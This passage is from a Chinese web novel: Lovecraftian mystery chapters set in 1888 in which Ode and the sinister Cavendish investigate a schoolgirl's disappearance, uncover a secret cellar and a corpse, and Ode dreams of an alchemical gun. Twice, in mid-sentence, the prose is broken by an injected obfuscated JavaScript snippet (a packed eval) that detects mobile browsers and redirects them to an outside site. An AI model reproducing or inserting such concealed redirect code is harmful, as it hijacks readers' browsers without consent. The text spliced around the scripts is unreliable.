“萝拉在这儿过得好像不错,没什么值得担心的。”卡文迪许又在他耳边悄声催促,“我们没吃早点,你不饿吗?去海边逛逛吧,我知道那里有酒馆会做很酥脆的烤鱼。” 欧德无情地忽略了他,看向萝拉母亲:“有关镇子里流窜着吃人怪物的消息,您听说了吗?太可怕了!尤其是想到我要回家就得穿过那片密林。” “我在想——这里有什么地方能□□吗?虽然不知道怪物怕不怕子弹,但有个傍身的武器,心里总能安定点啊。” 萝拉母亲看着阳光下欧德那双写着紧张茫然的眼睛,脑子都没过便下意识道:“我们家倒是有多余的霰弹——” “你·说·什么?!?” 一声暴喝从屋内传来,萝拉父亲的怒吼声打断了他们的对话:“萝拉怎么了?!” “?”欧德闻声抬头,毫不犹豫地起身,跟着被吓得惊跳起来、慌忙冲向内屋的萝拉母亲一起跨进内室。 “失踪……”萝拉父亲攥着话筒,温吞忠厚的脸都涨红了,愤怒、惊疑、恐惧……种种情绪在他的蓝眼睛中划过,绞着电话线的手微微发抖,“她住在校内,怎么会无缘无故的失踪?!她——她失踪了三天!?!为什么没人告诉我!为什么我的女儿,在你们的学校失踪,没有一个人告诉我这件事!?” “不……”萝拉母亲双腿一软,被欧德及时扶住,搀到旁边的木椅上,“不会的……为什么?为什么这种事会发生在萝拉身上??……怪物,那个吃人的怪物,是不是它抓走了萝拉!?” “胡说!”萝拉父亲抗拒地大喊,“绝不可能!” 学校方的声音从话筒里传出来:“我知道你们一定很焦急,我也能够理解你们的心情。但说实话,萝拉是不是在校内出的意外,我们暂时还不能确定。您知道的,您女儿经常因为不爱学习所以翘课——” “那是因为你们拒绝为她提供和男孩儿一样的课程!!”萝拉父亲咆哮,“我查过了!别以为我这辈子没出过捕梦小镇就没见识!在牛津!在剑桥!它们都允许女子学习并考试——” “但不授予学位。”学校方的声音冷静理性,从某种角度来说也是一种轻蔑傲慢,“难道这还不能说明什么吗?” 萝拉父亲被气得嘴唇直抖,想要破口大骂时,却见欧德举起一张画着人物涂鸦的纸,孩童丑丑的蜡笔画下面用彩笔写着一行漂亮的斜体字: 【别被扯开话题,只管问萝拉失踪的事。】 “……”萝拉父亲盯着纸条浑身发抖,半晌才深吐出一口气,压着嗓音,“我不在乎。现在我只要你把我的女儿安全、完整地还给我。我的·女儿·在哪?” “……我说了她在三天就翘课离开了学校。她这种不服管教的行为我们找你们谈过很多次,也说过这样会导致安全隐患——” 欧德低头唰唰写完一行字,再度举起从保罗手中借来的涂鸦画纸:【问他们有没有报警】 “……”萝拉父亲太阳穴的青筋突突跳,他压着气,看着画纸,“你们报警了吗?” 又一次想推卸责任但失败的学校方:“……我们以为你女儿翘课回家了!怎么会想到她——嘟。嘟。” “?!”萝拉父亲愕然瞪眼,看着拔下电话线的欧德:“你在做什么?我还没问出——” 欧德打断:“你觉得你能从学校口中挖出你女儿现在在哪吗?” “……”萝拉父亲的嘴巴徒劳地张着,半晌,眼眶泛红,“但除了逼问学校,我还能做什么?他们是我唯一的线索!他们说萝拉在三天前就离开学校了,但她没有回家——” “不,萝拉一定是在学校里出事的。”欧德将彩笔和画纸还给被惊吓到的保罗,温和地摸摸小男孩的脑袋,“如果萝拉是在校外出事,学校为了不担责,一定会第一时间报警,用最具有时效性的证据证明学校没有责任。他们藏着掖着,甚至不告诉家长,就是因为责任在他们。” 萝拉父亲立即道:“那、那我要去学校!我要和他们当面对质——” 欧德抬手按住萝拉父亲因为常年务农而格外宽厚的肩膀:“然后再被学校拦在外面,一通拖延,直到校方处理完所有可能对他们不利的证据?” 他摇摇头,一边拉起面对窗外,面露乏味的卡文迪许,一边安抚道:“事情并非没有希望。” “校方一直没有通知你们,就意味着他们还没收拾完马脚。” “也许他们自己也在一团慌乱中,说不定还在内部自查,所以才忙到反而被你找上门,不得不说出真相。” “我和这位好心的先生一起走一趟,用其他不会引起他们警惕的身份,现在赶过去,说不准还来得及找到线索。” “……?”好心的先生顺着被攥着的手腕看向欧德,脸上写着淡淡的疑惑。 萝拉父亲同样疑惑:“你们?但……为什么?我们从未谋面——” “听着。”欧德打断萝拉父亲还在往外冒的疑窦。 “我从伦敦一路赶来捕梦小镇,就是为了萝拉的吊坠项链。已经走了这么远了,我不在乎再为这小姑娘多做一点。” 欧德的语气沉而踏实,声音里带着能让人在慌乱中一下找回主心骨的力度:“也许这就是上帝的旨意,让我恰好在此时来到你们身边。我此行的使命就是找回萝拉。” 萝拉母亲愣住了,微微扬头看着面前神情认真、眼神坚定的欧德,阳光恰在此时从他身后奔涌而来,将他侧脸的轮廓打磨得纯净、完满,笼着一层近乎不真实的朦胧光晕:“……我把家里的枪借给你。”她迅速擦干眼泪站起身,大步走向挂在墙上的霰.弹枪,“如果有人要伤害萝拉,如果有怪物——拿去吧。至少我不希望你因为帮助我们而受到伤害。” 欧德微微颔首,接住枪就领着卡文迪许一道走出萝拉家,丝毫不拖泥带水。 甫一跨出屋门,一直表情微妙的卡文迪许终于忍不住开口:“你信仰上帝?” “信个鬼,我这辈子都没进过教堂。”欧德撇撇嘴,掂掂手中的枪械,心中终于安定了不少,“走吧!我们去学校。” · 爬山的第十五分钟,汗湿衣衫、累得像条死狗的欧德就明白了学生寄宿这个决定有多明智。 昨夜让他精神焕发的深潜者尸块似乎已经被消化殆尽了,他又变回了那个上完体课就瘫成废人的小趴菜。卡文迪许在半道友好地提出可以帮忙背半程枪,但被欧德坚定拒绝。 开什么玩笑,把保命的武器交给卡文迪许,和杀人犯找上门,拜托对方替自己拿一下刀有什么区别? 他在半道喘了一会,一旁连滴汗都没出(欧德怀疑这个人可能都没有毛孔这种结构)的卡文迪许面对着大海的方向:“你其实应该看看《海狼》的。” “什么?”欧德只想把卡文迪许踹进悬崖下的海浪里。 “那里面有些片段写得很好,”卡文迪许说,“比如‘生命就像酵母一样乱作一团。为了生存,强的吃弱的,大的吞小的,运气好的就能生存,仅此而已。’” “……”欧德缓缓直起身,很难不认为这话是意有所指,“那我恐怕无法苟同。——你知道我最喜欢的书是哪本吗?” “什么?”卡文迪许感兴趣地转过头。 “……”欧德面无表情地看着对另一边空气说话的卡文迪许,无语半晌抹了把脸,重新攀爬起山路,“《小王子》。” “我读过。”卡文迪许紧跟上来,欧德的衣摆在山风中扬起,时不时拂过卡文迪许的手臂,“但——让你触动的片段是什么呢?” “你在跟我开玩笑吗?”欧德忍不住回头,“我读那本书的时候,几乎从倒数第二章一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540173|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭到结尾。” “……”卡文迪许思索,“因为小王子被毒蛇杀死了?” “什么?那才不是这故事说的——”欧德愤慨到一半,迫使自己冷静下来,只关注正事,“你自己看去吧!简直没法相信……” 就这么在嘴里小声叨咕着,欧德怀揣着自己最喜爱的作品被曲解的恼火,成功登上了悬崖。 这里大概是方圆百里内最高的地方。站在学校东南侧的悬崖边,欧德能看见整片海洋,浓黑得像不透光的墨水。向北看—— “嘶。”欧德忽然抽了口冷气。 “怎么?”卡文迪许问。 “密林……”欧德看着北方喃喃,“它变了……只是一晚。昨天中午我还进去过一趟,那里面只有常绿植物,现在……” 瑰丽的、妖冶得简直不正常的玫粉色占据了整片绿林。 所有的树木似乎比昨天见时都更高大、树叶也更繁茂了,欧德远远看见有夜枭在艳桃红色的树林上方盘旋:“猫头鹰会在白天活动吗?” “有一些是的。比如短耳鸮、北方鹰鸮。”卡文迪许像本优雅版的百科全书,“但夜行性的猫头鹰也会在某些情况下日间活动,如果它们受到攻击,或者食物匮乏,或者在繁殖季需要保护巢穴的话。” “一点没错!”学校的铁栏门内传出一道热情得有些虚伪的声音。 欧德和卡文迪许同时望过去,就见一位身穿深灰绿色毛呢西装的中年男性站在门内,正用随意的手势差遣手下打开大门:“我接到了来自二位先生的电话,说是游子返乡,想为我们学校捐钱盖楼?” “不……”欧德话说到一半,目光落在校门口黏贴的一张纸上。 那是一份广告,内容大概是说电影厂招工,收自认样貌上佳的好苗子自愿报名,报名需附本人照片。 欧德记得这个,保罗涂画用的也是这张纸。他之前借用纸笔的时候特地观察了一下,觉得这小萝卜头应该是怀揣着一个明星梦,但又不好意思和家里人说,更没法自己去拍照,于是只能用蜡笔涂个自己的小人儿。 “先生?”穿着绿西装的校长困惑地顺着欧德的视线,看了眼校门上的广告,顿时被气得差点嘴都歪了,“来人!来人!把它撕了!为什么学校大门上有这个?!守门人呢!有人在我们学校的大门上乱贴乌烟瘴气的东西,难道他就没看到吗?” 校长气得呼哧呼哧喘气,直到旁边的秘书一溜烟跑过来撕了广告,他才慢慢缓过来,再一看校门前神情漠然的两位贵客,顿时尴尬无比:“让两位见笑了……为什么不到我的办公室里再详谈呢?请走这里。” 比起只有一栋红色小洋楼的学校,校长室就气派多了,欧德走进门时都感觉这独立“小楼”是按照白金汉宫缩水着造的。 越过落地窗,他能清楚地看到远方玫瑰色的森林,此时森林边缘正有一小队人背着登山包头也不回地走进去,看衣着打扮,正是之前旅馆里那伙学者。 ‘奇怪……’欧德想,‘这林子都变成这样了,正常人怎么都该害怕了吧?他们怎么还往里进,到底有什么研究让他们这么着迷?’ 带着困惑,他跟在卡文迪许身后,在校长的邀请下坐上沙发——卡文迪许坐主位,他这个还穿着一身棉麻衫、一看就是小跑腿的自觉坐在侧座。 “所以……关于捐款……”校长面带暗示。 “哦,事情是这样的——”欧德调整了一下坐姿,让自己看着更像狐假虎威的得势小人,方便后面有些话说出来不容易起疑,“我家大人很喜欢捕梦小镇的环境,希望能在两年内带着夫人孩子侨居到此。但这个小镇上只有一所学校,而且看着还这么寒酸,夫人完全没法接受让她心爱的孩子到这儿来上学。所以大人就想到了一个两全其美的办法——希望能重建整座校园,让它配得上我家小主人的身份。” “重建?”校长有些没想到,“我以为……就是捐个高尔夫球场什么的,哈哈。” 欧德用“一点不好笑。你在侮辱我家大人吗”的眼神看校长,直到他那双压低眉眼就让人觉得阴恻恻的绿眼睛将校长的尬笑逼回去:“……所以。在我们正式注资之前,我家大人认为自己应该亲自来一趟,确认这所学校没有其他会让夫人不满的地方——需要他来扫尾。” 欧德意味深长地看着校长:“你懂我的意思?糟糕的传闻,棘手的麻烦……这些都——不能出现在夫人面前,否则我家大人的乔迁心愿就泡汤了。但我们都知道,学校里管着这么多孩子,怎么可能不出点小意外呢?所以有时候……我们得用一点‘小手段’,来确保这些‘小意外’,绝对不会被夫人知晓。” “……”校长渐渐听明白了欧德的言下之意,一下就有点坐不住了。他的脸上一时青白,一时欣喜,大概是在想怎么自己会这么幸运,正焦头烂额的时候天降贵人? 他吞了一下口水,很有警惕意识地说:“你们应该不是警局派来的人吧?” 欧德随意指了下往主位一坐就开始闭目养神的卡文迪许:“他像吗?” “……”卡文迪许掀开浅白色的眼睫,缓缓转头冲欧德扬起疑问的眉毛,“?” 他是在传达疑惑的来着,但他那张脸太过邪性,哪怕不带任何攻击性的情绪,依旧会让人不寒而栗。 校长上一秒还在警惕,下一秒对上卡文迪许那双海雾似的眼睛,腿都软了。但恶人的胆子总是格外大的,他畏惧到一半,另一个念头冒出来: 要是遇上那种老正经、爱清高的贵族反而不好呢!他要怎么说出帮忙遮掩失踪案的话?可面前这位不一样,一看就是个不怎么有人性的同道中人。而且身上这身行头……乖乖,这可够把他这所学校扩建个十几倍了吧? “好吧……”校长慢吞吞地说,小眼睛谨慎地盯着两名客人的反应。 他未必想不明白这事儿可能有蹊跷,这也太幸运了!但对于他这样的人来说,贪婪和赌徒心理是一辈子都戒不掉的恶习。当可能获取的利益大于风险时,他总忍不住选择站上赌桌,并且有一种莫名其妙的自信: 幸运会站在我这边的。毕竟他一直以来,不是都很幸运么? 校长终于开了金口:“我猜学校里的确有一些麻烦事需要摆平,比如……图书馆地下偶尔会发出奇怪的声音?钢琴没人却会响起音乐?但这种传闻都很常见,我敢打赌每个学校都有那么一两个类似的故事。” 欧德面露不耐地敲了敲沙发扶手:“不要说浪费我家大人时间的话。” 校长犹豫了一下,最终还是微微搓着双手,有些迟疑地说:“我……觉得有一个学生在我们学校失踪了。” “她的室友说10月5号晚上,她和那个学生互道了晚安,熄灯睡觉,但第二天一早醒来,那个学生就离奇地不见了!这件事能……我是说,遮掩过去吗?” 混账东西。欧德在心中冷冷地骂,面上仍旧佯作惊讶:“那不就是三天前吗?——先别急,也许那孩子还能找回来呢!这样,带我去看看现场。如果我们能以学校的名义找回这个学生,这件倒霉事岂不是能变成一份绝佳的谈资?” “太棒了!”校长简直被欧德说进了心坎儿里,激动得猛一拍桌,才意识到自己的举动多少有点失礼,赶紧又低回声去,“什么时候看?我可以为二位带路。” 9. 第 9 章 十分钟后,萝拉的宿舍内。 学生们还在上课,宿舍楼里空空荡荡,刚好方便欧德进行调查。 “能想象吗?几十年前,这里还只是一片空荡荡的悬崖,我花费了不少功夫才买下这块地,盖起学校……” 校长站在宿舍门口絮絮叨叨,欧德站在窗边一只耳朵进,一只耳朵出,伸手推开不是很灵活了的旧窗,探身出去看外窗台。 “你想找什么?”卡文迪许环臂抱胸,靠坐在书桌边,相当有默契地和欧德一起把校长当成不存在的空气。 “翻窗进来的痕迹,翻窗出来的痕迹。”欧德看完面前的窗台,又把身体又往外探了点,去看其他窗户,“如果萝拉是被校外的人劫走的,那个人潜入宿舍总会留下一些痕迹吧?但是没有。看看窗台上的灰,全厚得像十几年没擦过。” “也许绑匪是走门进屋的。”卡文迪许说,“宿舍门有被撬过的痕迹吗?” “没有,刚进门我就看过了。”欧德缩回身体,抬手关回窗户时却忽地一顿,“那是……悬崖那边是站着一个人吗?” 咸腥的海风刮过窗台,欧德看见东南边悬崖耸立起的礁石边有个脑袋似的东西忽然动了一下,又过了几秒,那“东西”转身露出更多部分,是一个身穿廉价西装、脖子挂着相机的男人。 “你站在这儿,看着别让他——”欧德话说到一半才想起卡文迪许是个睁眼瞎,只得恼火地一咬牙闭上嘴匆匆转身,“呆在这儿等我,我去追个人!” “什么?”校长挡着门,差点没被冲出屋的欧德撞个趔趄,“追谁?嘿!” “闭嘴!!”欧德压着声音低喝,但当他冲到下一层中转楼层,往外看想确认对方没有被校长那一嗓子惊动时,就见那人已经受惊似的从礁石后跳出来,跌跌撞撞地往山下跑,“不,站住!” 现在想下四楼去追已经来不及了,欧德一把拽下背后的霰.弹枪:“听着!我只是想问问你三天前的晚上有没有来过这儿,看到了什么,不论你当时来的目的是什么都不会追究你的责任,但你如果再跑,我就开枪了!” 如果悬崖边的人只是个偷窥狂或者星探,听见欧德这么说肯定就立马刹车了。但那人非但没有停下脚步,反而跑得更快,不是案件的直接关系人,就说明他还藏着更大的不能告人的秘密。 欧德真的在心里考虑了半秒“要不要开枪”,当他还在想“万一那就是个蠢到慌不择路的无辜旅客”时,锋锐冷冽的气息从身后笼罩而来,一双手稳而有力地覆住他的双手,对准逃窜者的背影: “嘭!” 巨大的后坐力狠狠撞上欧德的左胸,将他那句要脱口而出的“你疯了”撞了回去。只有校长崩溃的尖叫在他们身后响起:“你们在做什么?!我扶你下来,不是为了让你在我的学校里杀人的!!” 整个场面里只有卡文迪许稳如泰山,他松开手,示意欧德去看逃窜者毫发无损、眨眼间就跑没影儿了的背影: “这种前装式□□射程很近,隔着这么远根本打不中。而且它装填子弹也很麻烦,清理、装药、装弹、压实……等你上完子弹,一分钟已经过去了。” “哦……哦!原来如此,”校长从惊吓中缓过来,“早说啊!我差点被吓死!” “……”欧德沉着脸一下肘开瞄人时又不瞎了的卡文迪许,从校长身边擦肩而过时很难不升起把这废物玩意儿踹下楼梯的欲望。 他感到恼火,一方面是因为校长那一喊打草惊蛇,很可能让他们错过了追查到萝拉的重要线索。另一方面,谁能在好不容易得到武器,却得知它其实火力不足后继续没心没肺地高高兴兴? 不过现在知道,总比日后真战斗时发现自己得花一分钟重新装弹要强。欧德在爬回五楼时就整理好了心态,重新回到萝拉的书桌边拿起笔记本。 “这回可不是我拖后腿。我甚至还能告诉你刚刚那个人的身份,现在住哪。”卡文迪许走回他身边说,“伯德肥皂有限公司的员工,住在我们下榻的那间旅馆的——” “102房。”欧德啪地合上笔记本,又翻开了另一本更厚的,“旅馆的入住登记册,我早趁着昨晚老板娘帮我们重开房间、让我们签名时翻过一遍。” “我知道他不是一个人来的,这趟来捕梦小镇身边还跟着十来个同事。不用想也能猜到他身上那身廉价西装是公司制服,能穿着工作服来旅游,这多半是一场团体旅行。” “……”卡文迪许哑然,“你翻查旅馆的入住登记册做什么?” 因为很奇怪,之前浮士德和他对峙时明明说过,整个捕梦小镇只有他这么一个异乡人,可实际上呢?小镇旅馆里却住得满满当当全是外乡人。 这些外乡人为什么不在浮士德给他看的死亡名单里?难道在小镇大火前,这些人就逃走了?有屏障竖在小镇外围,这些人是怎么逃的? 欧德再度“啪”地合上笔记本,瞥了眼这帮外乡人中最明亮的那颗嫌疑之星:“我没问你‘怎么突然就能瞄得准那个公司员工,不眼瞎了吗’就不错了,你少问问题行吗?还有像刚刚那样突然插手——别有下次。这枪打百米远的猎物困难,打一只近在眼前的孔雀还是能勉强胜任的。” 卡文迪许闻言眉头一挑,嘴刚张欧德就知道这人吐不出什么象牙:“别说话——我知道三天前的晚上,萝拉是怎么失踪的了。走,跟我去图书馆。” “??等等,请等一下!”一直眼观鼻鼻观心,在争执中佯装自己是团空气的校长连忙提起肚子,追赶前面的两个大长腿,“她是怎么失踪的?为什么去图书馆??您不会是把我之前说的图书馆里有怪声当真了,觉得萝拉是被怪物带走的吧!” 欧德将怀里的笔记本丢给校长:“看看里面的内容,是关于人体解剖的。我猜测,贵校的医学课应该不对女学生开放吧?那这些知识点都是她从哪儿抄下的?生而知之吗?” 校长翻翻本子,恍然大悟:“所以,三天前的晚上,萝拉其实是趁舍友入睡后,自己悄悄离开宿舍的!难怪她‘被绑架’,舍友却一点都没听到动静!但——宿舍的门又是怎么从里面反锁上的?” 欧德在宿舍楼前站住:“问问你手里的笔记本吧,最后一页上画着她反锁门的机关呢——反正我是看不明白。” 这小姑娘在1888年确实是屈才了,凭这本事,她当特工可比他绰绰有余多了:“现在——告诉我图书馆往哪走?我想她的失踪如果是被迫的,她一定会在被劫走的地方留下提示。” 五分钟后。意外修建得很高大宏伟的图书馆里。 校长拘谨地站在图书管理员桌台边。原本的办公人员已经被他赶走了,卡文迪许现在正坐在那张整个图书馆里最舒适的靠椅上,没有焦距的眼睛投向欧德离开的方向,一眨不眨。 “咳……”校长鼓起勇气清了清嗓子,“敢问……您和里面那位正在调查的先生,是什么关系啊?兄弟?哈哈,看着不像上下级。” 哪家属下能怼着上司说“少问问题行不行”、“别说话”的?那位欧德先生说话的语气甚至一直都是命令式的祈使句。 他跟形形色色的人都打过交道,能从对方的神色上看得出,这种说话方式完全就是对方所习惯的,就好像对对方来说,对周围的人下达指令是一件习以为常的事;周围的人信服听从他的指令也是一件理所应当的事。 总不能是主仆两人互换了身份?或者私生子兄弟?校长的脑海中一时浮现出诸多很符合当前时代特色的猜测。 或者……看这两人刚吵完就拉手拉得那么自然,跟老夫妻床头吵床位和似的相处方式,难道这两人是……恋人? 校长满是殷情讨好的小眼睛里闪过一丝锐光。 1888年,英国对同性恋人的态度可是直接送上绞刑架的。 校长心里打起了算盘,算计的目光投向正在书架间走动的欧德。 如果……如果他能把这件事捅给那位夫人……哦不不!他应该直接拿这件事威胁这两个恶心的家伙!天啊……想想吧,他能从这两人身上榨出多少油水?看这白头发的家伙穿的行头,哪怕只是从手指缝间漏出一点,就能让他快乐到上天堂啊!甚至……甚至他还可以…… 可以什么呢? 他内心或许还有其他更加龌龊肮脏的想法,但在那想法完整地冒出头前,他忽觉背后一寒,仿佛有双巨大的纵眼在他身后缓慢地裂开眼皮,无声地注视着他。 正在书架间寻找记号的欧德不会知道,远离这间图书馆的其他学生、老师也不会知道。在他们呼吸的时候,在他们吵闹的时候,绝对的、跨越了空间与时间界限的死寂降临在了名叫亨利·布莱尔的中年男人身上。 他拼命挣扎,无比用力地滑动四肢,在窒息时绝望到用力扯出自己的舌头,想将呼吸的通道扩大些,让氧气进入他的肺腔…… 可进入他肺腔的只有死亡。 “找到了!”隔着转角的墙壁,另一头的欧德终于在社科学书架角落摸到了三道挣扎时留下的指甲划痕,还有一些凌乱的痕迹,“密……什么?她只来得及刻了半截。你们这儿有什么跟‘密’有关的地名吗?我就只能想到一个——” “密林密林!”校长好像突然想起了什么紧急的事,提着肚子大步往图书馆外跑,“我有个报表没填,哎呀——你们先看着,有事再来办公室问我!” 背对的姿势让从转角处探头出来的欧德没能看见校长那双变成海雾色的眼睛。 欧德疑惑地瞥了眼校长,就收回了视线,侧身将手伸到书架和墙缝间又检查了一遍有没有疏漏,抽回手时下意识地拍了拍灰,忽地顿住:“嗯?” “怎么了?”没有校长帮忙指路,卡文迪许只能在原处坐着。 “这缝隙里居然没有一点灰尘蜘蛛网……”欧德搓了搓手指,反应迅速,“这书架是最近才放到这儿来的!或者经常被移动……” 他想起校长说的图书馆地下偶尔会传出怪声:“——这里可能藏着一间密室!” 萝拉会被拖进了密室里吗?欧德的脑中划过这个念头,立即行动起来寻找机关。 他自小在古堡中长大,对于老式机关颇为熟悉,几乎没花多少功夫,就在缝隙间找到了开启枢纽。触发机关后,他迅速向后一撤,就见整个书架像升降梯一样向上升去:“……难怪这图书馆修得这么高!——该死,校长肯定知道这间密室!他说这学校是他一手建起来的!” 欧德立即想冲出去追逃之夭夭的校长,但刚迈出一步,又觉得当下的重点是找到已经失踪三天了的萝拉。蹉了下牙后他放弃追击,转头看向下方露出的洞口:“萝拉?嗨,你在吗?” ——洞穴下一片死寂。 卡文迪许不知何时循着机关的声音来到欧德身边,他轻声说:“下面没有活人的气息。只有腐臭。也许萝拉不在下面,即使她在,也已经没有救援的意义了。” “……”欧德缓慢侧过头,以一种可怕的眼神瞪视卡文迪许,几秒后他忽地伸手,搭上卡文迪许的后背用力一推。 对此毫无预料的卡文迪许:“?!” 地下室并不深,不到两秒,就传来卡文迪许落地的声音。根据皮鞋跟轻撞地面时干脆轻盈的咯噔声,欧德甚至能想象出卡文迪许是如何在黑暗中从错愕,到敏捷地变更姿势,稳稳落地的:“让开,我要跳了。” 令人作呕的气息从通道口涌出,欧德几乎是条件反射地回想起之前的深潜者。但这里的腐臭并没有深潜者身上的那股子海腥味,倒是多了点……干燥的灰尘味。 “扑通!” 欧德曲了下膝盖做缓冲,落地时扬起了大片灰尘,粘在皮肤上叫他感觉有点过敏瘙痒。 他没带照明的东西下来,但地下室里有一盏老式的煤气灯。欧德站直身体,拍着灰尘转身,抬手推开面无表情的卡文迪许往甬道深处看去,就见:“——尸体!” “嗤……” 煤气灯忽然无风自灭了。 欧德下意识地抬头看灯,听到北方远处传来教堂的钟声:“当——当——” 那钟声悠扬且浑厚,声波仿佛跨越了空间的遥远,震荡进他的魂魄。下一秒,欧德就觉眼前一黑,整个人脱力地栽倒在地。 * 他好像又在做梦。 但这一次,他的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540174|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底里涌出几分怀疑,仔细打量这个梦境中的一切细节。 “你要学炼金术?干什么,旧神们给你的装备还不够你玩儿的?” 正在说话的是浮士德,他们正站在初见浮士德时那间珠光宝气的办公室里:“可不是我敝帚自珍,我是真觉得没必要——你想学炼金术做什么?” “我想学怎么制造一把炼金枪。”梦里的他听起来有些疲惫,“我希望它至少能够在一击内彻底杀死深潜者,并且能够无限提供弹药。” “……我们现在队里持有的廷达罗斯猎枪已经具有你想要的威力,但无限提供弹药……” 梦里的他不容置喙地打断:“用生命。有限的子弹耗尽之后,它可以利用炼金术阵消耗持有者的生命,创造出新的弹药。我需要这个,你教我。” ……什么是廷达罗斯猎枪?欧德困惑地想。 他四处逡视,某一刻忽然在办公室一角的墙上看到某样熟悉的东西,正像标本似的被钉在墙上。 ——那把在银行被捉时见过的兽骨枪! 欧德立即集中注意力去开枪支标本下方的标牌: 【廷达罗斯猎枪:由廷达罗斯猎犬的残骸制成的突击枪,能够摧毁中低级的精神污染源。 注:廷达罗斯猎犬[注1]在存活时,并非以犬类形象示人。 它是一种栖身于时间轴之外,能从任何小于120度的角中穿越而至的猎捕者。因其难以甩脱的追踪特性得名。】 “……”欧德紧跟着就在枪支标本旁边看见同样熟悉的脑袋面罩: 【米·戈面罩:由米·戈的大脑制成,能够屏蔽中低级的精神污染。 注:米·戈[注2]是一种来自犹格斯星的真菌-甲壳类外星生物,能够提取人的大脑,保存在特定的设备中,实现所谓的‘永生’。请调查员勿相信任何有关永生的骗局。】 欧德的心跳渐渐变快,与此同时,他听见犹豫良久的浮士德终于开口:“好吧——但我真想不出这东西能在什么时候派上用场。” “这不会太难,所有炼金术,只要不吝啬于奉献上生命,都会变得简单很多——我可以现在就把阵图画给你看,需要的时候你就咬破自己的手指,用血在随便什么枪上画一遍就成了。” 接下来的每一分每一秒,都让欧德感到十分漫长,又很短暂。 漫长是因为画炼金术阵是一件枯燥无聊的事,要记下大长段的咒文。短暂则是因为他在跟着梦里的自己一起拼命速记—— 他不在乎损不损耗寿命。 说真的,他的人生目标现在也就是个救出萝拉,给祖父下葬。 等到下葬结束后呢?他其实不在意自己的死活,反正这世上所有爱他的、他爱的人都已经死了。 现在支撑他东奔西跑的动力,无非是祖父的遗体还没赎回、他不愿让那个幕后主使者阴谋得逞——去他的命运。 命运想让他6月2号死,他就偏要活到6月3号,然后拿枪对着自己崩一下,死前冲着命运嘲笑一句傻逼。 “……欧德。欧德。醒醒!” 一道命令中带着急促的声音从梦境之外传来,像根钩子一样钩住欧德的心脏。但他不耐烦地挥散了这点牵引,眼睛眨也不眨地紧盯着浮士德用以示范的炼金台,直到最后一笔落下,他才从梦境之河中猛然坐起,睁开双眼。 “……欧德?”黑暗中,卡文迪许的声音带着点不确定响起。 “哦,我没事。”欧德佯装什么也没发生似的站起身,拍拍衣摆,“可能低血糖又犯了——” 他顿了一下,有些困惑地低头看看很完整的自己:“你,没趁这会儿做点什么?” 这倒真让欧德感到意外了。 如果假设卡文迪许的身份有问题,那就意味着昨天晚上的房屋坍塌就是卡文迪许干的——对方的目的是想杀死他。但不知道为什么却失败了。 但这地下室就这么屁大点地方,卡文迪许哪怕是眼瞎,用手摸一摸也肯定能摸到他了。哪怕神秘学的力量无法杀死他,他手边就掉落着一把现成的枪呢!卡文迪许之前还说过这枪应该怎么用——为什么不趁着上好的机会找到他,拿枪口往他太阳穴一顶,“嘭”! “……”卡文迪许安静了几秒,语气中带着淡淡的、没有丝毫温度的笑意,“你怎么知道我没试过?” “?”欧德在困惑中起身,几乎都在心里犹豫难道卡文迪许真是好人?是我想多了?重新摸索着去找煤气灯时,他的手不慎摸到一根滚烫的烙铁:“嘶!” 欧德条件反射地缩回手。隔了半秒忽然意识到: ——那是他的霰.弹枪。 枪膛是滚烫的。 卡文迪许在他昏睡过去时,的确冲他开过枪。 “咔哒。” 煤气灯轻响一声亮了,照亮了狭窄的地下室。 也照亮了密布在地下室的墙上、地面、天顶各处,漆黑的弹孔。 “……”欧德的呼吸变得微微急促起来,一路从后颈麻到头顶。 他干涩地张了张嘴:“说起来——” 我还没问过你,来捕梦小镇是干什么的? ——他本想这么问的,但理智抢先一步鞭挞醒了他因未料到的画面而有些混乱的大脑: 问这有什么用?知道卡文迪许来捕梦小镇是为了什么,就能打消卡文迪许的杀意吗? 现在已经是萝拉失踪的第三天了,教堂的钟声每多敲一下,就意味着她还活着的可能性再小一点。 满足你的好奇心比萝拉的生死更重要吗?反正这次昏迷已经证实了卡文迪许想杀你,但杀不死你。那还有什么可在意的? 抬头!欧德。去看地下室里线索,去找回萝拉! “……”欧德深呼吸了一口气,在可怕的腐臭中,反倒因为作呕的生理反应重新集中了注意力。 他拄着□□站起身,仿佛没被枪膛烫过,也看不到满室的弹孔:“你检查过尸体了吗?有什么发现?” 卡文迪许用看前所未见的奇葩一样的眼神注视着面前的空气,半晌才道:“我的面前有你,为什么要去在意一具尸体?” 10. 第 10 章 “……”欧德陷入短暂的沉默,灰尘在干燥的空气中缓慢飞舞。 卡文迪许始终盯着那处虚空,似乎在等待他做出回应。 然而对方的期望注定落空了,欧德很快就转开视线,像什么话也没听到似的四下打量,观察这间不足4平方大的地下室: “两个书架,都放着档案。这里应该是校长专门建来藏这些档案的地方,如果我猜得错,这应该都是……” 欧德迅速翻了几份档案,厌恶地丢回书架:“他逃来捕梦小镇前的罪证。” “不出所料。一个能对人命毫不在意,只想保住自己名誉的人,肯定早就已经习惯了生命从他手下流逝。” “我怎么觉得你意有所指?”卡文迪许将巾帕从胸前口袋里抽出来,慢条斯理地擦拭自己手指上残余的火药。 欧德凑到墙壁边观察弹眼下的痕迹:“你想多了,不是整个世界都围着你转的,卡文迪许先生。——这是什么?爪痕?” 